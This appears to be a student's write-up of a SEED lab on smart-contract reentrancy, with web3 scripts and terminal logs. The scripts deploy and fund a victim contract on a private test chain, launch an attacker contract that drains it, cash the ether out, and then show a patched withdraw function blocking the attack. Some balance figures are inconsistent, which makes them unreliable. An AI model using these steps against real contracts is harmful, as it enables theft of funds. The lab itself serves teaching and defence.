Smart Contract Reentrancy Attack Lab

Task 1: Getting Familiar with the Victim Smart Contract

Task 1.a: Compiling the Contract

```
[11/30/25]seed@VM:~/.../contract$ solc-0.6.8 --overwrite --abi --bi
n -o . ReentrancyVictim.sol
Compiler run successful. Artifact(s) can be found in directory ..
```

Task 1.b: Deploying the Victim Contract

```
  GNU nano 4.8                    deploy_victim_contract.py                    Modified
from web3 import Web3
import SEEDWeb3

abi_file = "../contract/ReentrancyVictim.abi"
bin_file = "../contract/ReentrancyVictim.bin"

# Connect to a geth node
web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545')

# We use web3.eth.accounts[1] as the sender because it has more Ethers
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")
print("Sending tx ...")
addr = SEEDWeb3.deploy_contract(web3, sender_account,
                                abi_file, bin_file, None)
print("Victim contract: {}".format(addr))
with open("contract_address_victim.txt", "w") as fd:
    fd.write(addr)
```

```
[11/30/25]seed@VM:~/.../victim$ nano deploy_victim_contract.py
[11/30/25]seed@VM:~/.../victim$ python3 deploy_victim_contract.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Sending tx ...
---------Deploying Contract ----------------
... Waiting for block
Transaction Hash: 0x464cd54eed052821ff8daa7ecd31d64ca3ca98170e0df1ba550dc00d1578a1f0
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0xedcba8b7824bf237abbf949b9d0a7495cb4
17f5ea797f971dd7b0186617f1a8d'), 'blockNumber': 258, 'contractAddress': '0xE4f431062358923783bc6
3Ba7bC0BF232AFd9f99', 'cumulativeGasUsed': 282261, 'effectiveGasPrice': 1000000007, 'from': '0xa
6bBf9891a0689Fe91d9c1538478b95effe0a57A', 'gasUsed': 282261, 'logs': [], 'logsBloom': HexBytes('
0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000'), 'status': 1, 'to': None, 'transactionHash': HexBytes('0x46
4cd54eed052821ff8daa7ecd31d64ca3ca98170e0df1ba550dc00d1578a1f0'), 'transactionIndex': 0, 'type':
 '0x2'})
Victim contract: 0xE4f43106235892378 3bc63Ba7bC0BF232AFd9f99
```

Task 1.c: Interacting with the Victim Contract

Funding the Contract

```
 GNU nano 4.8                    fund_victim_contract.py                    Modified
#!/bin/env python3

from web3 import Web3
import SEEDWeb3
import os

abi_file    = "../contract/ReentrancyVictim.abi"
victim_addr = '0xE4f431062358923783bc63Ba7bC0BF232AFd9f99'

# Connect to our geth node
web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545/')

# We use web3.eth.accounts[1] as the sender because it has more Ethers
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")

# Deposit Ethers to the victim contract
# The attacker will steal them in the attack later
contract_abi  = SEEDWeb3.getFileContent(abi_file)
amount = 10  # the unit is ether
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
tx_hash  = contract.functions.deposit().transact({
                    'from':  sender_account,
                    'value': Web3.toWei(amount, 'ether')
                })
print("Transaction sent, waiting for the block ...")
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction Receipt: {}".format(tx_receipt))

# print out the balance of my account and the entire contract
myBalance = contract.functions.getBalance(sender_account).call()
print("------------------------------------------------------------")
print("== My balance inside the contract:")
print("   {}: {}".format(sender_account, myBalance))
print("== Smart Contract total balance:")
print("   {}: {}".format(victim_addr, web3.eth.get_balance(victim_addr)))
print("------------------------------------------------------------")
```

```
[11/30/25]seed@VM:~/.../victim$ nano fund_victim_contract.py
[11/30/25]seed@VM:~/.../victim$ python3 fund_victim_contract.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Transaction sent, waiting for the block ...
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x3bdc98ed6b69d2bf1eb1f97a12d6a2d0bc6
2b72da2b796513d2ff956ad928e0c'), 'blockNumber': 301, 'contractAddress': None, 'cumulativeGasUsed
': 31381, 'effectiveGasPrice': 1000000007, 'from': '0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A',
 'gasUsed': 31381, 'logs': [], 'logsBloom': HexBytes('0x0000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000'), 'sta
tus': 1, 'to': '0xE4f431062358923783bc63Ba7bC0BF232AFd9f99', 'transactionHash': HexBytes('0xf9a6
e5cb4f219d22ef39df12ca2716c27d55e027a5029ef9c5f0725f48ac6053'), 'transactionIndex': 0, 'type': '
0x2'})
------------------------------------------------------------
== My balance inside the contract:
   0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A: 30000000000000000000
== Smart Contract total balance:
   0xE4f431062358923783bc63Ba7bC0BF232AFd9f99: 30000000000000000000
------------------------------------------------------------
```

Withdrawing

```
  GNU nano 4.8                    withdraw_from_victim_contract.py                    Modified
#!/bin/env python3

from web3 import Web3
import SEEDWeb3
import os

abi_file    = "../contract/ReentrancyVictim.abi"
victim_addr = '0xE4f431062358923783bc63Ba7bC0BF232AFd9f99'

# Connect to our geth node
web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545/')

# We use web3.eth.accounts[1] as the sender because it has more Ethers
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")

# Deposit Ethers to the victim contract
# The attacker will steal them in the attack later
contract_abi  = SEEDWeb3.getFileContent(abi_file)
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
amount = 5
tx_hash  = contract.functions.withdraw(Web3.toWei(amount, 'ether')).transact({
                    'from':  sender_account
                })
print("Transaction sent, waiting for the block ...")
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction Receipt: {}".format(tx_receipt))

# print out the balance of my account and the entire contract
myBalance = contract.functions.getBalance(sender_account).call()
print("----------------------------------------------------------")
print("== My balance inside the contract:")
print("   {}: {}".format(sender_account, myBalance))
print("== Smart Contract total balance:")
print("   {}: {}".format(victim_addr, web3.eth.get_balance(victim_addr)))
print("----------------------------------------------------------")
```

```
[11/30/25]seed@VM:~/.../victim$ nano withdraw_from_victim_contract.py
[11/30/25]seed@VM:~/.../victim$ python3 withdraw_from_victim_contract.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Transaction sent, waiting for the block ...
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x4940f0d10b6c3efebd0b5bea446438f8161
425e1478e081d6237772287332d7d'), 'blockNumber': 308, 'contractAddress': None, 'cumulativeGasUsed
': 38799, 'effectiveGasPrice': 1000000007, 'from': '0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A',
 'gasUsed': 38799, 'logs': [], 'logsBloom': HexBytes('0x0000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'sta
tus': 1, 'to': '0xE4f431062358923783bc63Ba7bC0BF232AFd9f99', 'transactionHash': HexBytes('0x95b4
88d790e60cbe05713c9f470367ef6e5d49f5c037032dad8f33630e6f93be'), 'transactionIndex': 0, 'type': '
0x2'})
----------------------------------------------------------
== My balance inside the contract:
   0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A: 25000000000000000000
== Smart Contract total balance:
   0xE4f431062358923783bc63Ba7bC0BF232AFd9f99: 25000000000000000000
----------------------------------------------------------
```

We can see that the ending balance is 25 Ethers

Task 2: The Attacking Contract

Deploy the attacker contract

```
  GNU nano 4.8                    deploy_attack_contract.py                    Modified
#!/bin/env python3

from web3 import Web3
import SEEDWeb3
import os

abi_file        = "../contract/ReentrancyAttacker.abi"
bin_file        = "../contract/ReentrancyAttacker.bin"
victim_contract = '0xE4f431062358923783bc63Ba7bC0BF232AFd9f99'


# Connect to our geth node
web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545/')

# We use web3.eth.accounts[1] as the sender because it has more Ethers
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")
addr = SEEDWeb3.deploy_contract(web3, sender_account,
                    abi_file, bin_file, victim_contract)
print("Attack contract: {}".format(addr))
with open("contract_address_attacker.txt", "w") as fd:
    fd.write(addr)
```

```
[11/30/25]seed@VM:~/.../attacker$ nano deploy_attack_contract.py
[11/30/25]seed@VM:~/.../attacker$ python3 deploy_attack_contract.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
---------Deploying Contract ----------------
... Waiting for block
Transaction Hash: 0x4b3f4cf68df915c898c29a00d8d18fd92de762c6e764356bc2543587074c4472
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x0d5469cae06311d761e4acf2b4f02889a91
aecc0667bec10445611155ef267cc'), 'blockNumber': 320, 'contractAddress': '0x1e40De1853817f8e6Ea73
982b0Ea0e7B73E8FE62', 'cumulativeGasUsed': 356807, 'effectiveGasPrice': 1000000007, 'from': '0xa
6bBf9891a0689Fe91d9c1538478b95effe0a57A', 'gasUsed': 356807, 'logs': [], 'logsBloom': HexBytes('
0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000'), 'status': 1, 'to': None, 'transactionHash': HexBytes('0x4b
3f4cf68df915c898c29a00d8d18fd92de762c6e764356bc2543587074c4472'), 'transactionIndex': 0, 'type':
 '0x2'})
Attack contract: 0x1e40De1853817f8e6Ea73982b0Ea0e7B73E8FE62
```

Task 3: Launching the Reentrancy Attack

First find the balance of the victim contract

```
  GNU nano 4.8                          get_balance.py                          Modified
#!/bin/env python3

from web3 import Web3
import SEEDWeb3

def print_balance(_web3, address):
    if address != None:
       caddr = Web3.toChecksumAddress(address)
       print("{}: {}".format(caddr, _web3.eth.get_balance(caddr)))
    else:
       print("Address is None!")

web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545/')

# Get the balance of the accounts on the geth node
print("------------------------------------------------------------")
print("*** This client program connects to 10.151.0.71:8545")
print("*** The following are the accounts on this Ethereum node")
for acct in web3.eth.accounts:
    print_balance(web3, acct)
print("------------------------------------------------------------")


# Get the balances of the victim's and attacker's contract accounts.
# Please use their correct addresses.
try:
  victim_addr = '0xE4f431062358923783bc63Ba7bC0BF232AFd9f99'
  print("  Victim: ", end='')
  print_balance(web3, victim_addr)

  attack_addr = '0x1e40De1853817f8e6Ea73982b0Ea0e7B73E8FE62'
  print("Attacker: ", end='')
  print_balance(web3, attack_addr)
except:
  print()
  print("Exception captured: Please put the actual address in the code")
```

```
[11/30/25]seed@VM:~/.../attacker$ nano get_balance.py
[11/30/25]seed@VM:~/.../attacker$ python3 get_balance.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
------------------------------------------------------------
*** This client program connects to 10.151.0.71:8545
*** The following are the accounts on this Ethereum node
0x1081c645CC8c21EfbB0114eAc5fcDBE01a1a4b19: 100000000000000000000
0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A: 974999225170994576197
------------------------------------------------------------
  Victim: 0xE4f431062358923783bc63Ba7bC0BF232AFd9f99: 25000000000000000000
Attacker: 0x1e40De1853817f8e6Ea73982b0Ea0e7B73E8FE62: 0
```

Then launch the attack

```
  GNU nano 4.8                          launch_attack.py                          Modified
#!/bin/env python3

from web3 import Web3
import SEEDWeb3
import os

web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545')

sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")

abi_file      = "../contract/ReentrancyAttacker.abi"
attacker_addr = '0x1e40De1853817f8e6Ea73982b0Ea0e7B73E8FE62'

# Launch the attack
contract_abi  = SEEDWeb3.getFileContent(abi_file)
contract = web3.eth.contract(address=attacker_addr, abi=contract_abi)
tx_hash  = contract.functions.attack().transact({
                    'from':  sender_account,
                    'value': Web3.toWei('25', 'ether')
                })
print("Transaction sent, waiting for block ...")
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction Receipt: {}".format(tx_receipt))
```

```
[11/30/25]seed@VM:~/.../attacker$ nano launch_attack.py
[11/30/25]seed@VM:~/.../attacker$ python3 launch_attack.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Transaction sent, waiting for block ...
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x82358bee32a291576b379043f3af7f58e7b
908f46e4385bf2ae18b5e062be14b'), 'blockNumber': 342, 'contractAddress': None, 'cumulativeGasUsed
': 282944, 'effectiveGasPrice': 1000000007, 'from': '0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A'
, 'gasUsed': 282944, 'logs': [], 'logsBloom': HexBytes('0x0000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 's
tatus': 1, 'to': '0x1e40De1853817f8e6Ea73982b0Ea0e7B73E8FE62', 'transactionHash': HexBytes('0x49
7a1b45bda5b81946d0159b036e72ef47ab45fecea3019554dd8f0fa814cc36'), 'transactionIndex': 0, 'type':
 '0x2'})
```

Check balance afterwards

```
[11/30/25]seed@VM:~/.../attacker$ python3 get_balance.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
------------------------------------------------------------
*** This client program connects to 10.151.0.71:8545
*** The following are the accounts on this Ethereum node
0x1081c645CC8c21EfbB0114eAc5fcDBE01a1a4b19: 100000000000000000000
0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A: 949998942226992595589
------------------------------------------------------------
  Victim: 0xE4f431062358923783bc63Ba7bC0BF232AFd9f99: 0
Attacker: 0x1e40De1853817f8e6Ea73982b0Ea0e7B73E8FE62: 50000000000000000000
```

Then cash it out into another contract

```
  GNU nano 4.8                          cashout.py                          Modified
#!/bin/env python3

from web3 import Web3
import SEEDWeb3
import os

web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545')

sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")

abi_file      = "../contract/ReentrancyAttacker.abi"
attacker_addr = '0x1e40De1853817f8e6Ea73982b0Ea0e7B73E8FE62'

# Cash out the money from the attacker contract
contract_abi   = SEEDWeb3.getFileContent(abi_file)
recipient_acct = Web3.toChecksumAddress(web3.eth.accounts[2])
contract = web3.eth.contract(address=attacker_addr, abi=contract_abi)
tx_hash  = contract.functions.cashOut(recipient_acct).transact({
                    'from':  sender_account
                })
print("Transaction sent, waiting for block ...")
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction Receipt: {}".format(tx_receipt))
```

From this we can see that we were able to take the money from the victim contract and move it to the attacker contract.

Task 4: Countermeasure

Modify the victim contract and redo the attack

```
  GNU nano 4.8                      ReentrancyVictim.sol                    Modified
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.8;

contract ReentrancyVictim {
    mapping (address => uint) public balances;
    uint256 total_amount;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        total_amount += msg.value;
    }

    receive() external payable {
        total_amount += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);

        balances[msg.sender] -= _amount;
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether!");
    }

    function getBalance(address _addr) public view returns (uint) {
        return balances[_addr];
    }
```

```
[11/30/25]seed@VM:~/.../contract$ solc-0.6.8 --overwrite --abi --bin -o . ReentrancyVictim.sol
Compiler run successful. Artifact(s) can be found in directory ..
```

Deploy victim contract

```
[11/30/25]seed@VM:~/.../victim$ python3 deploy_victim_contract.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Sending tx ...
---------Deploying Contract ----------------
... Waiting for block
Transaction Hash: 0xc04372091123e40d2327b504a423d21193db42c90bdfdccc2548ebd054f5eee6
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x8ca665f2b3ab3afa52229c04c9d102435f9
06f34d392fcb50f5dcf3f0cf02a43'), 'blockNumber': 375, 'contractAddress': '0xFcCF0f7E94975adAaF7Ea
3739eA7C843cdBAcCf4', 'cumulativeGasUsed': 278811, 'effectiveGasPrice': 1000000007, 'from': '0xa
6bBf9891a0689Fe91d9c1538478b95effe0a57A', 'gasUsed': 278811, 'logs': [], 'logsBloom': HexBytes('
0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000'), 'status': 1, 'to': None, 'transactionHash': HexBytes('0xc0
4372091123e40d2327b504a423d21193db42c90bdfdccc2548ebd054f5eee6'), 'transactionIndex': 0, 'type':
 '0x2'})
Victim contract: 0xFcCF0f7E94975adAaF7Ea3739eA7C843cdBAcCf4
```

Fund the victim contract

```
[11/30/25]seed@VM:~/.../victim$ nano fund_victim_contract.py
[11/30/25]seed@VM:~/.../victim$ python3 fund_victim_contract.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Transaction sent, waiting for the block ...
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x2adc1fad4ff9563161bd3700dfbba3d7282
c7e19b06fdba0fe319101dfaa19c8'), 'blockNumber': 381, 'contractAddress': None, 'cumulativeGasUsed
': 65581, 'effectiveGasPrice': 1000000007, 'from': '0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A',
 'gasUsed': 65581, 'logs': [], 'logsBloom': HexBytes('0x00000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'sta
tus': 1, 'to': '0xFcCF0f7E94975adAaF7Ea3739eA7C843cdBAcCf4', 'transactionHash': HexBytes('0x120d
091afb7078e8e20fb400d940464635054c63e417c1e2eb9353e8cb8d36a4'), 'transactionIndex': 0, 'type': '
0x2'})
------------------------------------------------------------
== My balance inside the contract:
   0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A: 20000000000000000000
== Smart Contract total balance:
   0xFcCF0f7E94975adAaF7Ea3739eA7C843cdBAcCf4: 20000000000000000000
------------------------------------------------------------
```

Deploy Attacker Contract

```
[11/30/25]seed@VM:~/.../attacker$ python3 deploy_attack_contract.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
---------Deploying Contract ----------------
... Waiting for block
Transaction Hash: 0xa2fdb65449d33c043a0c4db585e598c092db0aec223f9b084069a2f98315cb70
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0xd0f4273d7a4ec1ea709ba461d571d1ac1a3
35c1776847d371542d36bf4d4f57f'), 'blockNumber': 386, 'contractAddress': '0x678E8714173c549A88cB2
021657e25c4a35EcB59', 'cumulativeGasUsed': 356807, 'effectiveGasPrice': 1000000007, 'from': '0xa
6bBf9891a0689Fe91d9c1538478b95effe0a57A', 'gasUsed': 356807, 'logs': [], 'logsBloom': HexBytes('
0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000'), 'status': 1, 'to': None, 'transactionHash': HexBytes('0xa2
fdb65449d33c043a0c4db585e598c092db0aec223f9b084069a2f98315cb70'), 'transactionIndex': 0, 'type':
 '0x2'})
Attack contract: 0x678E8714173c549A88cB2021657e25c4a35EcB59
```

Check balances

```
[11/30/25]seed@VM:~/.../attacker$ python3 get_balance.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.
3) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
------------------------------------------------------------
*** This client program connects to 10.151.0.71:8545
*** The following are the accounts on this Ethereum node
0x1081c645CC8c21EfbB0114eAc5fcDBE01a1a4b19: 100000000000000000000
0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A: 909998192546987347829
------------------------------------------------------------
  Victim: 0xFcCF0f7E94975adAaF7Ea3739eA7C843cdBAcCf4: 2000000000000000000
Attacker: 0x678E8714173c549A88cB2021657e25c4a35EcB59: 0
```

Launch the attack

```
[11/30/25]seed@VM:~/.../attacker$ python3 launch_attack.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.3) or chardet (3.0.4) doesn
't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Traceback (most recent call last):
  File "launch_attack.py", line 18, in <module>
    tx_hash  = contract.functions.attack().transact({
  File "/home/seed/.local/lib/python3.8/site-packages/web3/contract.py", line 1010, in transact
    return transact_with_contract_function(
  File "/home/seed/.local/lib/python3.8/site-packages/web3/contract.py", line 1614, in transact_with_contract_function
    txn_hash = web3.eth.send_transaction(transact_transaction)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/eth.py", line 828, in send_transaction
    return self._send_transaction(transaction)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/module.py", line 57, in caller
    result = w3.manager.request_blocking(method_str,
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 197, in request_blocking
    response = self._make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 150, in _make_request
    return request_func(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 94, in middleware
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/gas_price_strategy.py", line 89, in middleware
    return make_request(method, (transaction,))
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 94, in middleware
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/attrdict.py", line 33, in middleware
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 94, in middleware
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 94, in middleware
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 94, in middleware
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/buffered_gas_estimate.py", line 37, in middleware
    hex(get_buffered_gas_estimate(web3, transaction)),
  File "/home/seed/.local/lib/python3.8/site-packages/web3/_utils/transactions.py", line 134, in get_buffered_gas_estimate
    gas_estimate = web3.eth.estimate_gas(gas_estimate_transaction)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/eth.py", line 868, in estimate_gas
    return self._estimate_gas(transaction, block_identifier)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/module.py", line 57, in caller
    result = w3.manager.request_blocking(method_str,
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 198, in request_blocking
    return self.formatted_response(response,
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 170, in formatted_response
    apply_error_formatters(error_formatters, response)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 70, in apply_error_formatters
    formatted_resp = pipe(response, error_formatters)
  File "cytoolz/functoolz.pyx", line 680, in cytoolz.functoolz.pipe
  File "cytoolz/functoolz.pyx", line 655, in cytoolz.functoolz.c_pipe
  File "/home/seed/.local/lib/python3.8/site-packages/web3/_utils/method_formatters.py", line 576, in raise_solidity_error_
on_revert
    raise ContractLogicError(response['error']['message'])
web3.exceptions.ContractLogicError: execution reverted: Failed to send Ether
```

From this we can see that we failed to send the ether, preventing a reentrancy attack, verify by checking balances

```
[11/30/25]seed@VM:~/.../attacker$ python3 get_balance.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.2.3) or chardet (3.0.4) doesn
't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
------------------------------------------------------------
*** This client program connects to 10.151.0.71:8545
*** The following are the accounts on this Ethereum node
0x1081c645CC8c21EfbB0114eAc5fcDBE01a1a4b19: 100000000000000000000
0xa6bBf9891a0689Fe91d9c1538478b95effe0a57A: 909998192546987347829
------------------------------------------------------------
  Victim: 0xFcCF0f7E94975adAaF7Ea3739eA7C843cdBAcCf4: 2000000000000000000
Attacker: 0x678E8714173c549A88cB2021657e25c4a35EcB59: 0
```